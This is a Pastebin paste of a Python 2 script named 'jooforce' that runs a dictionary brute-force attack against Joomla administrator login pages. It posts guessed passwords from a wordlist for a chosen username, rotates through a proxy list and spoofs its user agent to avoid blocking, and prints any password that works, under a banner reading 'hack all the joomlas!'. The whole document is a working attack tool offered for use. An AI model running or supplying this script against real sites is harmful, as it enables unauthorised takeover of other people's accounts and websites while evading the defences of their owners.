Advertisement
Guest User

Untitled

a guest
Apr 12th, 2017
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.64 KB | None | 0 0
  1. #
  2. # Copyright rastating 2012-2013
  3. #
  4. # This program is free software: you can redistribute it and/or modify
  5. # it under the terms of the GNU General Public License as published by
  6. # the Free Software Foundation, either version 3 of the License, or
  7. # (at your option) any later version.
  8. #
  9. # This program is distributed in the hope that it will be useful,
  10. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. # GNU General Public License for more details.
  13. #
  14. # You should have received a copy of the GNU General Public License
  15. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  16. #
  17. import random
  18. import sys
  19. import urllib
  20. import urllib2
  21.  
  22. INVALID_LOGIN_CONST = "Use a valid username and password to gain access"
  23.  
  24.  
  25. class ProxyList:
  26. """Provides access to a list of proxies"""
  27. file_path = ""
  28. proxies = []
  29. current_index = 0
  30.  
  31. def __init__(self, file_path):
  32. self.file_path = file_path
  33. self.parse()
  34.  
  35. def parse(self):
  36. try:
  37. with open(self.file_path, "r") as f:
  38. data = (f.readlines())
  39. for line in data:
  40. if (not ":" in line):
  41. line = line.rstrip() + ':80'
  42. self.proxies.append(line.rstrip())
  43. except IOError:
  44. print(" [!] The proxy list could not be opened. Check the path and try again.")
  45.  
  46. def get_random_proxy(self):
  47. proxy_count = len(self.proxies)
  48. index = random.randint(0, proxy_count - 1)
  49. return self.proxies[index]
  50.  
  51. def get_next_proxy(self):
  52. if (self.current_index < (len(self.proxies) - 1)):
  53. self.current_index += 1
  54. else:
  55. self.current_index = 0;
  56. return self.proxies[self.current_index]
  57.  
  58.  
  59. class HttpPostRequest:
  60. """A class that posts data to a URL via HTTP"""
  61. url = ""
  62. headers = ""
  63. post_data = ""
  64. proxy_list = None
  65. proxy_address = None
  66.  
  67. def __init__(self, url = "", headers = {}, post_data = {}):
  68. self.url = url
  69. self.headers = headers
  70. self.post_data = post_data
  71.  
  72. def add_header(self, key, value):
  73. self.headers[key] = value
  74.  
  75. def add_post_field(self, key, value):
  76. self.post_data[key] = value
  77.  
  78. def get_response(self):
  79. data = urllib.urlencode(self.post_data)
  80. request = urllib2.Request(self.url, data, self.headers)
  81. response_body = ""
  82.  
  83. try:
  84. if (self.proxy_address != None):
  85. opener = urllib2.build_opener(urllib2.ProxyHandler({'http': self.proxy_address}))
  86. response = opener.open(request)
  87. else:
  88. response = urllib2.urlopen(request)
  89. response_body = response.read()
  90. except:
  91. if (isinstance(self.proxy_list, ProxyList)):
  92. self.proxy_address = self.proxy_list.get_next_proxy()
  93. if (self.proxy_list.current_index == 0):
  94. print " [!] WARNING: The proxy list has been exhausted."
  95. print " Do you want to revert to no-proxy mode? [yes/no]"
  96. user_response = raw_input(" --> ")
  97.  
  98. if (user_response.strip().startswith("y")):
  99. self.proxy_list = None
  100. self.proxy_address = None
  101. return self.get_response()
  102. else:
  103. return self.get_response()
  104. else:
  105. print " [+] Switching proxy to {0}...".format(self.proxy_address)
  106. return self.get_response()
  107. else:
  108. print " [!] WARNING: An error occurred when posting to the page."
  109. print " Further requests may lead to false positives."
  110. print " Do you want to continue? [yes/no]"
  111. user_response = raw_input(" --> ")
  112.  
  113. if (user_response.strip().startswith("y")):
  114. response_body = INVALID_LOGIN_CONST
  115. else:
  116. response_body = None
  117. return response_body
  118.  
  119.  
  120. class JooForce:
  121. """A class to provide the brute forcing functionality"""
  122. path = ""
  123. username = ""
  124. user_agent = ""
  125. verbose = False
  126. request = HttpPostRequest()
  127.  
  128. def __init__(self, path, url, username = None, user_agent = None):
  129. self.path = path
  130. self.request.url = url
  131. if (username == None):
  132. self.username = "admin"
  133. else:
  134. self.username = username
  135. if ((user_agent == None) or (user_agent.strip() == "")):
  136. self.user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)"
  137. else:
  138. self.user_agent = user_agent
  139. self.request.add_header("User-Agent", self.user_agent)
  140.  
  141. def start(self):
  142. print " [+] Starting dictionary attack..."
  143. try:
  144. with open(self.path) as f:
  145. for line in f:
  146. password = line.rstrip()
  147.  
  148. if (self.verbose):
  149. print " [-] Trying {0}:{1}".format(self.username, password)
  150.  
  151. values = {'username' : self.username, 'password' : password}
  152. self.request.post_data = values
  153. response = self.request.get_response()
  154.  
  155. if (response == None):
  156. print " [-] Operation cancelled!"
  157. print ""
  158. return
  159. else:
  160. if not INVALID_LOGIN_CONST in response:
  161. print ""
  162. print " --------------------------------"
  163. print ""
  164. print " [+] Login found!"
  165. print " [-] Password is: " + password
  166. print ""
  167. return
  168. except (IOError) as e:
  169. print ""
  170. print " [!] The dictionary could not be opened. Check the path and try again."
  171. print ""
  172.  
  173.  
  174. print('')
  175. print('')
  176. print(' d8b .d888 ')
  177. print(' Y8P d88P" ')
  178. print(' 888 ')
  179. print(' 8888 .d88b. .d88b. 888888 .d88b. 888d888 .d8888b .d88b. ')
  180. print(' "888 d88""88b d88""88b 888 d88""88b 888P" d88P" d8P Y8b ')
  181. print(' 888 888 888 888 888 888 888 888 888 888 88888888 ')
  182. print(' 888 Y88..88P Y88..88P 888 Y88..88P 888 Y88b. Y8b. ')
  183. print(' 888 "Y88P" "Y88P" 888 "Y88P" 888 "Y8888P "Y8888 ')
  184. print(' 888 -------------------------------------------------------- ')
  185. print(' d88P hack all the joomlas! ')
  186. print(' 888P" ')
  187. print('')
  188. print('')
  189. print(' [-] Usage: python jooforce.py --url example.com --user admin --dic foo.txt')
  190. print(' ----------------------------------------------------------------------')
  191. print(' --agent <agent> : the user-agent string to post ')
  192. print(' --dic <path> : the password dictionary to brute force with ')
  193. print(' -h : display this information ')
  194. print(' --proxies <path> : the list of proxies to alternate between ')
  195. #print(' -r : randomise proxy selection ')
  196. print(' --url <url> : the URL of the Joomla login page ')
  197. print(' --user <user> : the username to attempt to login as ')
  198. print(' -v : enable verbose output ')
  199. print('')
  200. print('')
  201.  
  202. verbose_mode = False
  203. random_proxy_selection = False
  204. dictionary_path = None
  205. proxy_path = None
  206. url = None
  207. user = None
  208. user_agent = None
  209.  
  210. arg_index = 0
  211. for arg in sys.argv:
  212. if (arg == "-v" or arg == "-V"):
  213. verbose_mode = True
  214. elif (arg == "-h"):
  215. sys.exit(0)
  216. elif (arg == "--dic"):
  217. dictionary_path = sys.argv[arg_index + 1]
  218. elif (arg == "--url"):
  219. url = sys.argv[arg_index + 1]
  220. elif (arg == "--user"):
  221. user = sys.argv[arg_index + 1]
  222. elif (arg == "--useragent"):
  223. user_agent = sys.argv[arg_index + 1]
  224. elif (arg=="--proxies"):
  225. proxy_path = sys.argv[arg_index +1]
  226. elif (arg=="-r"):
  227. random_proxy_selection = True
  228. arg_index = arg_index + 1
  229.  
  230. errors = []
  231. if (dictionary_path == None):
  232. errors.append(" [-] No dictionary path specified.")
  233. if (url == None):
  234. errors.append(" [-] No URL specified.")
  235. if (user == None):
  236. errors.append(" [-] No username specified.")
  237. if (len(errors) > 0):
  238. print " [!] One or more required parameters are missing (see below)."
  239. for error in errors:
  240. print error
  241. print ""
  242. else:
  243. o = JooForce(dictionary_path, url, user)
  244. o.verbose = verbose_mode
  245. if (proxy_path != None):
  246. o.request.proxy_list = ProxyList(proxy_path)
  247. print " [+] Setting proxy to {0}...".format(o.request.proxy_list.proxies[0])
  248. o.request.proxy_address = o.request.proxy_list.proxies[0]
  249. if (user_agent != None):
  250. o.user_agent = user_agent
  251. o.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement